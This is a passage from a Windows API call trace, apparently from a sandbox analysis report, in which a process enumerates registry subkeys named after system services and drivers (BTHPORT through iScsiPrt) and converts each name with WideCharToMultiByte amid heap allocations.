CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0256.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0256.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0256.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0256.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0256.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0256.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0256.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.068] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.069] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0256.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0256.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0256.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0256.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0256.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.070] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0256.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0256.071] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0256.072] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0256.073] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0256.074] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0256.075] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0256.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0256.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0256.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, 